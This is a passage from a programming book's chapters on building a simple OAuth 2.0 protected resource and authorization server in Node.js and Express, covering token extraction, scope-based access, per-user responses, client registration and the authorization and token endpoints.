exercise code is set up to automatically parse an incoming form body, so we have to 
check whether it exists and pull the token value from it in an additional clause of the 
previous if statement.

} else if (req.body && req.body.access_token) {

	 inToken = req.body.access_token;

Finally, we’ll handle the token being passed as a query parameter. This method is 
recommended by OAuth only as a last resort when the other two methods aren’t appli-
cable. When this method is used, the access token has a higher probability of being 
inadvertently logged in server access logs or accidentally leaked through referrer head-
ers, both of which replicate the URL in full. However, there are situations in which a 
client application can’t access the Authorization headers directly (due to platform or 
library access restrictions) and can’t use a form-encoded body parameter (such as with 
HTTP GET). Additionally, the use of this method allows a URL to include not only the 
locator for the resource itself but also the means required to access it. In these cases, 
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with the appropriate security considerations in mind, OAuth does allow the client to 
send the access token as a query parameter. We handle it in the same manner as the 
previous form-encoded body parameter.

} else if (req.query && req.query.access_token) {

	 inToken = req.query.access_token

}

With all three methods in place, our function looks like listing 5 in appendix B.
Our incoming access token value is stored in the inToken variable, which is null if 

no token was passed in. However, that’s not quite enough: we still need to figure out 
whether the token is valid and what it’s good for.

4.2	 Validating the token against our data store
For our example application, we have access to the database that our authorization 
server uses to store tokens. This is a common setup for small installations of OAuth, 
in which the authorization server and the API that it protects are co-located with each 
other. The specifics of this step are particular to our implementation, but the tech-
nique and pattern are generally applicable. We’ll be looking at alternatives to this local 
lookup technique in chapter 11.

Our authorization server uses a NoSQL database stored in a file on disk with a 
simple Node.js module to allow access. If you’d like to look at the contents of the data-
base live while the program is in operation, monitor the database.nosql file in the 
exercise directory. Note that editing this file by hand is dangerous while the system is 
running. Luckily, resetting the database is as simple as deleting the database.nosql 
file and restarting the programs. Note that this file isn’t created until the authoriza-
tion server stores a token in it the first time, and its contents are reset every time the 
authorization server is restarted.

We’ll perform a simple lookup in our database to find the access token based on its 
incoming value. Our server stores each access token and refresh token as a separate 
element in the database, so we just have to use our database’s search capabilities to find 
the right one. The details of this search function are specific to our NoSQL database, 
but the same kind of lookup method can be used for other databases as well.

nosql.one(function(token) {

	 if (token.access_token == inToken) {

		  return token;	

	 }

}, function(err, token) {

	 if (token) {

		  console.log("We found a matching token: %s", inToken);

	 } else {

		  console.log('No matching token was found.');

	 }

	 req.access_token = token;

	 next();

	 return;

});
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The first function passed in checks the value of the stored access tokens against the 
input token that we pulled off the wire. If it finds a match, it returns the token and the 
searching algorithm stops. The second function is called when either a match is found 
or the database is exhausted, whichever comes first. If we do find a token in the store, 
it will be passed in the token argument. If we are unable to find a token with the input 
value, this argument will be null. Whatever we find, we attach it to the access_token 
member of the req object and call the next function. The req object is automatically 
passed to the next part of the process handler.

The token object that comes back is exactly the same object that was inserted by our 
authorization server when the token was generated. For example, our simple authori-
zation server stores access tokens and their scopes in a JSON object like this one:

{ 

	 "access_token": "s9nR4qv7qVadTUssVD5DqA7oRLJ2xonn",

	 "clientId": "oauth-client-1",

	 "scope": ["foo"]

}

Do I have to share my database?

Although working with a shared database is a very common OAuth deployment pat-
tern, it’s far from the only one available to you. There’s a standardized web pro-
tocol called Token Introspection that the authorization server can offer, allowing 
the resource server to check the token’s state at runtime. This lets the resource 
server treat the token itself as opaque, just like the client does, at the expense of 
more network traffic. Alternatively, or even additionally, the tokens themselves can 
contain information that the protected resource can parse and understand directly. 
One such structure is a JSON Web Token, or JWT, which carries a set of claims in 
a cryptographically protected JSON object. We’ll cover both of these techniques in 
chapter 11.

You may also wonder whether you have to store your tokens as raw values in the data-
base, as our example setup does. Although this is a simple and common approach, 
there are alternatives. For example, you can store a hash of the token value instead 
of the value itself, similar to how user passwords are usually stored. When the token 
needs to be looked up, its value is hashed again and compared against the contents 
of the database. You could instead add a unique identifier inside your token and 
sign it with the server’s key, storing only the unique identifier in the database. When 
the token must be looked up, the resource server can validate the signature, parse 
the token to find the identifier, and look up the identifier in the database to find the 
token’s information.

After adding this in, our helper function looks like listing 6 in appendix B.
Now we need to wire it into our service. With our Express.js application, we have 

two main options: wire it to every request, or wire it specifically to the requests that we 
want to check for OAuth tokens. To have this processing done on every request, we set 
up a new listener and hook up our function. This needs to be connected before any 
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other functions in our router since they’re processed in the order that they’re added 
in the code. 

app.all('*', getAccessToken);

Alternatively, we can insert our new function into an existing handler setup so that our 
function is called first. For example, in the code we currently have this function.

app.post("/resource",  function(req, res){

});

All we need to do to have our token processor function called first is to add our func-
tion to the route before the handler definition.

app.post("/resource", getAccessToken, function(req, res){

});

By the time the handler is called, the request object will have an access_token mem-
ber attached to it. If the token was found, this will contain the token object from the 
database. If the token was not found, this will contain null. We can branch our code 
accordingly.

if (req.access_token) {
	 res.json(resource);

} else {

	 res.status(401).end();

}

Now running the client application and telling it to fetch the protected resource 
should yield a screen like the one in figure 4.1.

Trying to call the protected resource from our client without the access token will 
yield an error message, propagated from the HTTP response that the client received 
back from the protected resource (figure 4.2). 

Now we have a very simple protected resource that can decide to fulfill requests 
or not based on the presence or absence of a valid OAuth token. Sometimes that’s 

Figure 4.1  The client’s page when it successfully accesses the protected resource
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enough, but OAuth gives you the opportunity to have much more flexibility in apply-
ing security to your protected API.

4.3	 Serving content based on the token
What if your API isn’t serving static resources with a simple yes/no gateway in front of 
them? Many APIs are designed such that different actions on the API require different 
access rights. Some APIs are designed to give different answers depending on whose 
authority the call was made, or give a subset of information based on different access 
rights. We’re going to build a few of these setups here, based on OAuth’s scope mecha-
nism and references to the resource owner and client.

In each of the exercises that follow, if you look at the code for the protected resource 
server, you’ll see that we’ve already included the getAccessToken utility function from 
the last exercise, and we’ve wired it up to all of the HTTP handlers. However, that func-
tion only extracts the access token and doesn’t make processing decisions based on its 
absence or presence. To help with that, we’ve also wired up a simple utility function 
called requireAccessToken that handles returning the error if the token isn’t pres-
ent, but otherwise passes control to the final handler for further processing.

var requireAccessToken = function(req, res, next) {

	 if (req.access_token) {

		  next();

	 } else {

		  res.status(401).end();

	 }

});

In each of these exercises, we’ll be adding code to check the status of the token for 
each of the handlers and returning results appropriately. We’ve wired up the client in 
each exercise to be able to ask for all of the appropriate scopes, and the authorization 
server will let you, acting as the resource owner, decide which ones to apply to a given 
transaction (figure 4.3). 

The client in each exercise also has the ability to call all of the protected resources 
in a given exercise using different buttons. All of the buttons will be available at all 
times, regardless of the scope of the current access token.

Figure 4.2  The client’s page when it receives an HTTP error from the protected resource
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4.3.1	 Different scopes for different actions

In this style of API design, different kinds of actions require different scopes in order 
for the call to be successful. This allows the resource server to divide functionality 
based on what the client is allowed to do. This is also a common way to have a single 
access token be applicable across multiple resource servers associated with a single 
authorization server. 

Open up ch-4-ex-2 and edit protectedResource.js, leaving client.js and 
authorizationServer.js alone. The client has a page that will allow you to access all 
of the functions in the API, once you get a token (see figure 4.4). The blue button will 
read the current set of words and display them, along with a timestamp. The orange 
button will add a new word to the current list stored at the protected resource. The red 
button will delete the last word in the set.

Three routes are registered in our application, each mapped to a different verb. All 
of them currently run if a valid access token of any type is passed in. 

app.get('/words', getAccessToken, requireAccessToken, function(req, res) {

	 res.json({words: savedWords.join(' '), timestamp: Date.now()});

});

app.post('/words', getAccessToken, requireAccessToken, function(req, res) {

	 if (req.body.word) {

		  savedWords.push(req.body.word);

	 }

	 res.status(201).end();

});

app.delete('/words', getAccessToken, requireAccessToken, function(req, res) {

	 savedWords.pop();

	 res.status(204).end();

});

We’re going to modify each of these to make sure that the scopes of the token contain 
at least the scope associated with each function. Because of the way our tokens are 

Figure 4.3  The approval page showing different scopes, available to be checked off
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stored in our data store, we have to get the scope member associated with the token. 
For the GET function, we want the client to have the read scope associated with it. It 
could have other scopes as well, but our API doesn’t particularly care if it does or not.

app.get('/words', getAccessToken, requireAccessToken, function(req, res) {

	 if (__.contains(req.access_token.scope, 'read')) {

		  res.json({words: savedWords.join(' '), timestamp: Date.now()});

	 } else {

		  res.set('WWW-Authenticate', 'Bearer realm=localhost:9002, 

error="insufficient_scope", scope="read"');

		  res.status(403);

	 }

});

We send the error back in the WWW-Authenticate header. This tells the client that this 
resource will take an OAuth bearer token, and that it at least needs to have the scope 
read associated with it for the call to succeed. We’ll add similar code to the other two 
functions, testing for the write and delete scopes, respectively. In all cases, if the 
token doesn’t have the right scope, an error is returned even if the token is otherwise 
valid. 

app.post('/words', getAccessToken, requireAccessToken, function(req, res) {

	 if (__.contains(req.access_token.scope, 'write')) {

		  if (req.body.word) {

			   savedWords.push(req.body.word);

		  }

		  res.status(201).end();

	 } else {

		  res.set('WWW-Authenticate', 'Bearer realm=localhost:9002, 

error="insufficient_scope", scope="write"');

		  res.status(403);

	 }

});

app.delete('/words', getAccessToken, requireAccessToken, function(req, res) {

	 if (__.contains(req.access_token.scope, 'delete')) {

		  savedWords.pop();

		  res.status(204).end();

	 } else {

		  res.set('WWW-Authenticate', 'Bearer realm=localhost:9002, 

error="insufficient_scope", scope="delete"');

		  res.status(403);

	 }

});

Figure 4.4  The client with three different functions, each mapped to a scope
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With that in place, reauthorize the client application to allow for different combi-
nations of scopes. For example, try giving the client read and write access without 
delete access. You’ll see that you can push data into the collection but you can never 
remove it. For an advanced take on this exercise, extend the protected resource and 
client to allow for more scopes and more types of access. Don’t forget to update the 
client’s registration in the authorization server for this exercise!

4.3.2	 Different scopes for different data results

In this style of API design, different kinds of information can be returned from the 
same handler depending on which scopes are present in the incoming token. This is 
useful when you have a complex set of structured information and you want to be able 
to give access to subsets of the information without the client needing to call different 
API endpoints for each type of information. 

Open up ch-4-ex-3 and edit protectedResource.js, leaving client.js and 
authorizationServer.js alone. The client has a page that will allow you to call the 
API, once you get a token, and will display the list of produce that results (figure 4.5).

In the protected resource code, instead of multiple separate handlers (one for each 
type of produce), we have a single handler for all produce calls. At the moment, this 
returns an object containing a list of produce in each category.

app.get('/produce', getAccessToken, requireAccessToken, function(req, res) {

	 var produce = {fruit: ['apple', 'banana', 'kiwi'], 

		  veggies: ['lettuce', 'onion', 'potato'], 

		  meats: ['bacon', 'steak', 'chicken breast']};	

	 res.json(produce);

});

Before we do anything else, if we were to fetch this API with any valid access token 
right now, we would always get back a list of all produce. If you authorize the client to 
get an access token, but don’t allow it any scopes, you’ll get back a screen that looks 
something like the one in figure 4.6.

Figure 4.5  The client’s page before any data is fetched
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However, we want our protected resource to be able to split up the produce section 
based on scopes that were authorized for the client. First, we’ll need to slice up our 
data object into sections so that we can work with it more easily.

	 var produce = {fruit: [], veggies: [], meats: []};

	 produce.fruit = ['apple', 'banana', 'kiwi'];

	 produce.veggies = ['lettuce', 'onion', 'potato'];

	 produce.meats = ['bacon', 'steak', 'chicken breast'];

Now we can wrap each of these sections into control statements that check for specific 
scopes for each produce type.

	 var produce = {fruit: [], veggies: [], meats: []};

	 if (__.contains(req.access_token.scope, 'fruit')) {

		  produce.fruit = ['apple', 'banana', 'kiwi'];

	 }

	 if (__.contains(req.access_token.scope, 'veggies')) {

		  produce.veggies = ['lettuce', 'onion', 'potato'];

	 }

	 if (__.contains(req.access_token.scope, 'meats')) {

		  produce.meats = ['bacon', 'steak', 'chicken breast'];

	 }

Now authorize the client application for only the fruit and veggies scopes, and try 
the request again. You should get back a vegetarian shopping list (figure 4.7).2

2  This removes all of the meats, even though, as we all know, bacon is sometimes a vegetable.

Figure 4.6  The client’s page showing all data returned with no scopes specified
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Of course, nothing in OAuth requires us to split our API at high-level objects in this 
way. For an added exercise, add a lowcarb scope option to the client and resource 
server, returning only foods that are low in carbohydrates from each category. This can 
be combined with the type category scopes from the exercise above, or it can act on its 
own. Ultimately, it’s up to you, the API designer, what the scope means. OAuth merely 
provides a mechanism for carrying it.

4.3.3	 Different users for different data results

In this style of API design, different information is returned from the same handler 
depending on who authorized the client. This is a common approach to API design 
as it allows a client application to call a single URL with no knowledge of who the 
user is yet still receive individualized results. This is the kind of API used in our 
cloud-printing example from chapters 1 and 2: the printing service calls the same 
photo-storage API regardless of who the user is, and gets that user’s photos. The 
printing service never needs to know a user identifier, or anything else about who 
the user is.

Open up ch-4-ex-4 and edit protectedResource.js, leaving client.js and 
authorizationServer.js alone. This exercise will provide a single resource URL 
that returns information about a user’s favorites in several categories based on who 
authorized the access token. Even though the resource owner isn’t present or authen-
ticated on the connection between the client and the protected resource, the token 
generated will contain a reference to the resource owner who was authenticated dur-
ing the approval process (figure 4.8).

Figure 4.7  The client’s page showing limited data returned based on scopes
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The client has a page that will allow you to call the API, once you get a token, and will 
display the personalized information that results (figure 4.9).

At the moment, as you can see, it doesn’t know which user you’re asking about, so 
it’s returning an unknown user with no favorites. Looking in the code of the protected 
resource, it’s easy to see how that happened.

app.get('/favorites', getAccessToken, requireAccessToken, function(req, res) {

	 var unknown = {user: 'Unknown', favorites: {movies: [], foods: [], music: 

[]}};

	 console.log('Returning', unknown);

	 res.json(unknown);

});

It turns out that we have some information about Alice and Bob at the protected 
resource, and it’s stored in the aliceFavorites and bobFavorites variables, 
respectively.

var aliceFavorites = {

	 'movies': ['The Multidmensional Vector', 'Space Fights', 'Jewelry Boss'],

	 'foods': ['bacon', 'pizza', 'bacon pizza'],

Figure 4.8  The authorization server’s approval page, showing a selection of resource owner identity

A drop-down menu is not authentication

The authorization server’s approval page will let you select which user you’re respond-
ing for: Alice or Bob. Normally, this would be handled by authenticating the resource 
owner at the authorization server, and it’s generally considered especially bad secu-
rity practice to allow an unauthenticated user to impersonate anyone of their choos-
ing on the system. For testing purposes, though, we’re keeping the example code 
simple and allowing you to choose the current user from a drop-down menu. For an 
additional exercise, try adding a user authentication component to the authorization 
server. Many different modules are available for Node.js and Express.js with which 
you can experiment.

Licensed to Hans Otten <hans.otten@autodata.net>



72	 Chapter 4  Building a simple OAuth protected resource 

	 'music': ['techno', 'industrial', 'alternative']

};

var bobFavorites = {

	 'movies': ['An Unrequited Love', 'Several Shades of Turquoise', 'Think Of 

The Children'],

	 'foods': ['bacon', 'kale', 'gravel'],

	 'music': ['baroque', 'ukulele', 'baroque ukulele']

};

All we need to do, then, is dispatch which data record we want to send out based on 
who authorized the client. Our authorization server has stored the username of the 
resource owner in the user field of the access token’s record, so all we need to do is 
switch out the content based on that.

app.get('/favorites', getAccessToken, requireAccessToken, function(req, res) {

	 if (req.access_token.user == 'alice') {

		  res.json({user: 'Alice', favorites: aliceFavorites});

	 } else if (req.access_token.user == 'bob') {

		  res.json({user: 'Bob', favorites: bobFavorites});

	 } else {

		  var unknown = {user: 'Unknown', favorites: {movies: [], foods: [], 

music: []}};

		  res.json(unknown);

	 }

});

Now if you authorize the client for either Alice or Bob at the authorization server, you 
should get their personalized data at the client. For example, Alice’s list is shown in 
figure 4.10.

During the OAuth process, the client never knew that it was talking to Alice and 
not Bob or Eve or someone else entirely. The client only learned Alice’s name inciden-
tally because the API it was calling included her name in the response, and it could 
have just as easily been left out. This is a powerful design pattern, as it can protect the 

Figure 4.9  The client’s page before data has been fetched
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resource owner’s privacy by not revealing personally identifying information unneces-
sarily. When coupled with an API that divulges user information, OAuth can start to 
approach an authentication protocol. We’ll take a deeper look at that in chapter 13, 
including looking at the additional functions and features needed to support end-user 
authentication. 

Of course, you can combine these methods. Our authorization server and client 
are already set up to use different scopes for this exercise, but the protected resource 
currently ignores them. As an added exercise, filter out the response to the favorites 
API based on the movies, foods, and music scopes for which the client has been 
authorized. 

4.3.4	 Additional access controls

This chapter’s list of potential access controls that can be applied by a protected 
resource using OAuth is far from comprehensive, and there are perhaps as many spe-
cific patterns in use today as there are resources that are being protected. Because 
of this, OAuth itself has stayed out of the authorization decision-making process and 
instead acts as a carrier for authorization information through the use of tokens and 
scopes. This approach allows OAuth to be applied to a vastly diverse set of API styles 
across the internet.

A resource server can use the tokens, and the information attached to them such 
as scopes, and make authorization decisions directly based on that. Alternatively, a 
resource server can combine the rights associated with an access token with other 

Figure 4.10  The client’s page showing Alice’s resource data
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pieces of access control information in order to make a decision about whether to 
serve an API call and what to return for a given request. For example, a resource server 
can decide to limit certain clients and users to access things only during certain times, 
no matter whether the token is good or not. A resource server could even make a call 
to an external policy engine with the token as input, allowing complex authorization 
rules to be centralized within an organization. 

In all cases, resource servers have the final say about what an access token means. 
No matter how much of their decision-making process they outsource, it’s always up to 
the resource server to decide what to do in the context of any given request.

4.4	 Summary
Protecting a web API with OAuth is fairly straightforward.

■■ The token is parsed out of the incoming request.
■■ The token is validated with the authorization server.
■■ The response is served based on what the token is good for, which can take sev-

eral forms.

Now that you’ve built both the client and protected resource, it’s time to build the 
most complex, and arguably most important, component of an OAuth system: the 
authorization server.
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5Building a simple OAuth 
authorization server

This chapter covers
■  ■ Managing registered OAuth clients

■  ■ Having a user authorize a client

■  ■ Issuing a token to an authorized client

■  ■ Issuing and responding to a refresh token

In the last two chapters, we built an OAuth client application that fetched a token 
from an authorization server and used that token at a protected resource, and we 
built the protected resource for the client to access. In this chapter, we’ll build a 
simple authorization server that supports the authorization code grant type. This 
component manages clients, performs the delegation action core to OAuth, and 
issues tokens to clients. 

NOTE  All of the exercises and examples in this book are built using Node.js 
and JavaScript. Each exercise consists of several components designed to run on 
a single system accessible from localhost on various ports. For more information 
about the framework and its structure, see appendix A.

The authorization server is arguably the most complex component in the OAuth 
ecosystem, and it is the central security authority throughout a given OAuth sys-
tem. Only the authorization server can authenticate users, register clients, and issue 
tokens. During the development of the OAuth 2.0 specifications, wherever possible 
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complexity was pushed onto the authorization server from the client or the protected 
resource. This is largely due to the arity of the components: there are many more cli-
ents than protected resources, and many more protected resources than authorization 
servers. 

We’ll start out by building a simple server in this chapter, and we’ll be building in 
more capability and functionality as we go.

5.1	 Managing OAuth client registrations
In order for clients to talk to the OAuth server, the OAuth server needs to assign a 
unique client identifier to each client. Our server is going to use static registration 
(we’ll cover dynamic client registration in chapter 12), and we’re going to store all of 
our client information in a server variable.

Open up ch-5-ex-1 and edit the authorizationServer.js file. We won’t be edit-
ing the other files in this exercise. At the top of the file, there’s an array variable that 
stores client information. 

var clients = [

];

This variable, currently empty, will act as the data store for all client information at the 
server. When part of the server needs to look up information about a client, it will look 
in this array to find it. In a production OAuth system, this type of data is usually stored 
in a database of some kind, but in our exercises we wanted you to be able to see and 
manipulate it directly. We’re using an array here because it’s assumed that an authori-
zation server will be handling many clients in an OAuth system. 

Who creates the client ID?

We’ve already configured the client in client.js to expect a certain ID and secret, 
so we’ll be copying those here. In a regular OAuth system, the authorization server 
issues the client ID and client secret to the client software, just like we did in our 
last exercise. We’ve done things this way to save you some typing and to confine 
the exercise to editing a single file wherever possible. However, if you want, you can 
open up client.js and tweak the values in its own configuration. 

First, let’s take in the values from the client itself, values that the authorization server 
doesn’t generate. Our client’s redirect URI is http://localhost:9000/callback, 
so we’ll create a new object in our list of clients that has that:

var clients = [

	 {

		  "redirect_uris": ["http://localhost:9000/callback"]

	 }

];
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Next, we need to assign the client an ID and secret. We’ll give it the same values that 
we used in the exercises in the last chapter, oauth-client-1 and oauth-client-
secret-1, respectively. (The client has already been configured with this informa-
tion.) This fills out our object to the following structure:

var clients = [

	 {

		  "client_id": "oauth-client-1",

		  "client_secret": "oauth-client-secret-1",

		  "redirect_uris": ["http://localhost:9000/callback"],

	 }

];

Finally, we’ll need a way to look up this information based on the client ID. Where a 
database would generally use a query, we’ve supplied a simple helper function to dig 
through our data structure to find the right client.

var getClient = function(clientId) {

	 return __.find(clients, function(client) { return client.client_id == 

clientId; });

};

The details of this function’s implementation aren’t important, but it’s doing a simple 
linear search across the list for the client with the given client ID. Calling this func-
tion gives us back the client we asked for as an object, or undefined if the client 
wasn’t found. Now that our server knows about at least one client, we can start putting 
together the code that acts for the server’s various endpoints.

5.2	 Authorizing a client
The authorization server is required to have two endpoints in the OAuth protocol: 
the authorization endpoint, which serves front-channel interactions, and the token 
endpoint, which serves back-channel interactions. If you want the details of how the 
front channel and back channel work, and why both are needed, see the explanation 
in chapter 2. In this section, we’ll be building the authorization endpoint. 

Does it have to be a web server?

In a word, yes. As we covered in chapter 2, OAuth 2.0 is designed as an HTTP-based 
protocol. In particular, the authorization server is expected to be available to the 
client over HTTP for both the front and back channels. The authorization code grant 
type, which we’re using in our example, requires both the front-channel and back-
channel interfaces to be available. The front channel needs to be reachable by the 
resource owner’s browser, and the back channel needs to be reachable directly by 
the client itself. As we’ll see in chapter 6, there are other grant types in OAuth that 
use only the front channel or only the back channel; our exercises here are going to 
use both.
(continued)
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5.2.1	 The authorization endpoint

The first stop that a user makes in the OAuth delegation process is the authorization 
endpoint. The authorization endpoint is a front-channel endpoint to which the client 
sends the user’s browser in order to request authorization. This request is always a 
GET, and we’ll be serving it up on /authorize.

app.get("/authorize", function(req, res){

	

});

First, we need to figure out which client is making the request. The client passes its 
identifier in the client_id parameter, so we can pull that out and look up the client 
using our helper function from the last section:

	 var client = getClient(req.query.client_id);

Next, we need to check whether or not the client passed in exists. If it doesn’t, we 
can’t authorize it to access anything, so we display an error to the user. The framework 
includes a simple error page that we’re using here to show the error to the user.

if (!client) {

	 res.render('error', {error: 'Unknown client'});

	 return;

Now that we know which client claims to be asking, we need to do some sanity checks 
on the request. At this point, the only thing that’s been passed in through the browser 
is the client_id, and since it gets passed through the front channel in the browser, 
this is considered public information. At this point, anybody could be pretending to 
be this client, but we’ve got some things that can help us make sure it’s a legitimate 
request, chief among them checking the redirect_uri that was passed in against 
the one that’s been registered by the client. If they don’t match, this is also an error.

} else if (!__.contains(client.redirect_uris, req.query.redirect_uri)) {

	 res.render('error', {error: 'Invalid redirect URI'});

	 return;

The OAuth specification, and our simple implementation of it, allows for multiple 
redirect_uri values for a single client registration. This can help with applications 
that might be served on different URLs in different circumstances, allowing the con-
sents to be tied together. As an additional exercise, once this server is up and running, 
come back to it and add support for multiple redirect URIs.

There are some ongoing efforts to port OAuth to non-HTTP protocols such as Con-
strained Application Protocol (CoAP), but they’re still based on the HTTP-bound 
original specification and we won’t be covering those directly here. For an added 
challenge, take the HTTP servers in the exercises and port them to another carrier 
protocol.

Licensed to Hans Otten <hans.otten@autodata.net>



	 Authorizing a client	 79

OAuth defines a mechanism for returning errors to the client by appending error 
codes to the client’s redirect URI, but neither of these error conditions do so. Why is 
that? If either the client ID that’s passed in is invalid or the redirect URI doesn’t match 
what’s expected, this could be an indicator of an attack against the user by a malicious 
party. Since the content of the redirect URI is completely out of the control of the 
authorization server, it could contain a phishing page or a malware download. The 
authorization server can never fully protect users from malicious client applications, 
but it can at least filter out some classes of attacks with little effort. For more discussion 
of this, see chapter 9.

Finally, if our client passes muster, we need to render a page to ask the user for 
authorization. The user will need to interact with this page and submit it back to the 
server, which will be served by another HTTP request from the browser. We’re going to 
hang on to the query parameters from the currently incoming request and save them 
in the requests variable under a randomized key so that we can get them back after 
the form is submitted.

var reqid = randomstring.generate(8);		

requests[reqid] = req.query;

In a production system, you can use the session or another server-side storage mecha-
nism to hold this. The exercise includes an authorization page in the file approve.
html, which we’ll now render for the user. We pass in the client information that we 
looked up as well as the randomized key from earlier. 

res.render('approve', {client: client, reqid: reqid});

The client information gets displayed to the user to aid them in making their autho-
rization decision, and the randomized reqid key gets put into the form as a hidden 
value. This randomized value offers some simple cross-site request forgery protection 
for our authorization page, since we’ll need it to look up the original request data in 
the next step for further processing.

All together, our function now looks like listing 7 in appendix B.
This is only the first half of processing a request to the authorization endpoint. Now 

it’s time to prompt the resource owner and ask them to authorize the client.

5.2.2	 Authorizing the client

If you’ve completed the previous steps, you can now run the code in its current  
state. Remember to run all three services: client.js, authorizationServer.js, 
and protectedResource.js. Starting at the OAuth client’s homepage of http://
localhost:9000/ and clicking the “Get Token” button, you should be presented with 
the approval page, as shown in figure 5.1.

Our approval page is simple. It displays information about the client and asks the 
user for a simple approve/deny response. Now it’s time to process the results of this 
form.
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Even though the particulars of the form on this page are entirely specific to our appli-
cation and not part of the OAuth protocol, using an authorization form is a fairly com-
mon pattern among authorization servers. Our form is set up to send an HTTP POST 
request to the /approve URL of the authorization server, so we’ll start by setting up a 
listener for that.

app.post('/approve', function(req, res) {

});

When the form is submitted, it sends a request like the following, with the form values 
in HTTP form-encoded format:

POST /approve HTTP/1.1

Host: localhost:9001

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: http://localhost:9001/authorize?response_type=code&scope=foo&client_

id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback& 

state=GKckoHfwMHIjCpEwXchXvsGFlPOS266u

Connection: keep-alive

reqid=tKVUYQSM&approve=Approve

Figure 5.1  A simple approval page

Who is the user, anyway?

In our exercises, we’re leaving out one key step: authenticating the resource owner. 
Many methods can be used to authenticate the user, with lots of middleware capable 
of handling most of the heavy lifting. In a production environment, this is a vital step 
that will require careful implementation in order to be handled properly. The OAuth 
protocol doesn’t specify or even care how the resource owner is authenticated, so 
long as the authorization server performs this step.

Try adding user authentication to the authorization and consent pages as an added exer-
cise. You could even use an OAuth-based authentication protocol such as OpenID Con-
nect (discussed in chapter 13) to log the resource owner in to the authorization server.
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Where did that reqid come from? Inside the page’s HTML, the server has inserted the 
randomized string that we generated in the last step and passed to the template. In the 
rendered HTML, it looks something like this:

<input type="hidden" value="tKVUYQSM" name="reqid">

This value is submitted with the form, and we can pull that value out of the request 
body to look up the pending authorization request based on it. If we don’t find a pend-
ing request for this code, it’s possibly a cross-site forgery attack and we can send the 
user to an error page.

var reqid = req.body.reqid;

var query = requests[reqid];

delete requests[reqid];

if (!query) {

	 res.render('error', {error: 'No matching authorization request'});

	 return;

}

The next thing that we need to do is determine whether the user clicked the Approve 
or the. We can tell this by the presence of the approve variable in the form’s submis-
sion, which is only included if the Approve button is clicked. A similar deny variable is 
sent by the Deny button, but we’re treating anything other than the Approve button 
being clicked as a denial.

if (req.body.approve) {	  User approved access
	

} else {	  User denied access
	

}

We’ll handle the second case first because it’s simpler. If the user denied access to 
an otherwise valid client, we can safely tell the client what happened. Since this is 
using front-channel communication, we don’t have a way to send a message directly to 
the client. We can, however, use the same technique that the client used to send the 
request to us: take a URL hosted by the client, add a few special query parameters to 
that URL, and redirect the user’s browser to the resulting location. The client’s redi-
rect URI is used for this purpose, and this is why we checked it against the registered 
client information when the first request arrived. In this case, we’re sending back an 
error message telling the client that the user has denied access.

var urlParsed = buildUrl(query.redirect_uri, {

	 error: 'access_denied'

});

res.redirect(urlParsed);

return;

If, conversely, the user approved the application, we need to first see what kind of 
response the client is asking for. Since we’re implementing the authorization code 
grant type, we’re going to look for the response_type value to be set to code. For any 
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other value, we return an error to the client using the same technique we just used. 
(We’ll cover implementing support for other values in chapter 6.)

if (query.response_type == 'code') {	   		   

} else {

	 var urlParsed = buildUrl(query.redirect_uri, {

		  error: 'unsupported_response_type'

	 });

	 res.redirect(urlParsed);

	 return;

}

Now that we know what kind of response we’re doing, we can generate an authoriza-
tion code to send back to the client. We also need to store the code somewhere on our 
server so that we can look it up when the client comes back to the token endpoint in 
the next step. For our simple authorization server, we’re going to use the same tech-
nique that we did when setting up the approval page and save it into an object on the 
server indexed by the authorization code we just generated. In a production server, 
this will likely be stored in a database, but it still needs to be accessible by the authoriza-
tion code value as we’ll see in a moment.

var code = randomstring.generate(8);

codes[code] = { request: query };

var urlParsed = buildUrl(query.redirect_uri, {

	 code: code,

	 state: query.state

});

res.redirect(urlParsed);

return;

Notice that we’re not sending back just the code. Remember in the last chapter when 
we set up the client to pass a state parameter to the server for the client’s own pro-
tection? Now that we’re on the other end of the transaction, we need to pass through 
the state parameter exactly as it was sent to us. Even though clients aren’t required 
to send the state value, the server is always required to send it back if one was sent in. 
So all together, our function to handle the response from the user approval page now 
looks like listing 8 in appendix B.

From here, the authorization server has handed control back to the client appli-
cation and needs to wait for the next part of the transaction, a request to the token 
endpoint on the back channel.

5.3	 Issuing a token
Back at the client, the authorization code generated in the previous section comes 
in through the client’s redirect URI. The client then takes this code and creates 
a POST message to the authorization server’s token endpoint. This backchannel 
communication happens outside the user’s browser, directly between the client  

Handle the authorization 
code grant type here (see 
what follows for details)

Licensed to Hans Otten <hans.otten@autodata.net>



	 Issuing a token	 83

and the authorization server. Since the token endpoint isn’t user facing, it doesn’t 
use the HTML templating system at all. Errors are communicated back to the client 
through a combination of HTTP error codes and JSON objects, which we’ll see in 
use here.

We’re going to set up a listener for POST requests on /token to handle this:

app.post("/token", function(req, res){

	

});

5.3.1	 Authenticating the client

First, we need to figure out which client is making the request. OAuth provides a few 
different ways for clients to authenticate to the authorization server, and protocols that 
build on top of OAuth such as OpenID Connect define yet more ways (we’ll take a 
closer look at OpenID Connect in chapter 13, but these additional methods are left as 
an exercise to the reader there as well). For our simple server, we’re going to support 
the two most common methods: passing the client ID and client secret over HTTP 
Basic authentication, and passing them over form parameters. We’re going to follow 
good server programming principles here and be generous with the kind of input we 
receive, allowing our clients to pass their credentials by either method, at their choice. 
We’ll check the Authorization header first, since it’s the preferred method in the speci-
fication, and fall back to the form parameters. The Authorization header in HTTP 
Basic is a base64 encoded string made by concatenating the username and password 
together, separated by a single colon (:) character. OAuth 2.0 tells us to use the client 
ID as the username and the client secret as the password, but with each of these being 
URL encoded first. On the server side, we have to unwrap that in reverse, so we’ve 
provided a utility function to handle the messy bits for you. Pull out the results of that 
function and store them as variables.

var auth = req.headers['authorization'];

if (auth) {

	 var clientCredentials = decodeClientCredentials(auth);

	 var clientId = clientCredentials.id;

	 var clientSecret = clientCredentials.secret;

}

Next, we need to check whether the client sent its client ID and client secret values 
in the form body. You might be thinking that we need to check here only if there’s 
no authorization header, but we also need to make sure that the client didn’t send its 
ID and secret in both locations simultaneously, which would result in an error (and a 
possible security breach). If there was no error, getting the values is a simple matter of 
copying them out of the form input, as you can see here.

if (req.body.client_id) {

	 if (clientId) {

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }
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	 var clientId = req.body.client_id;

	 var clientSecret = req.body.client_secret;

}

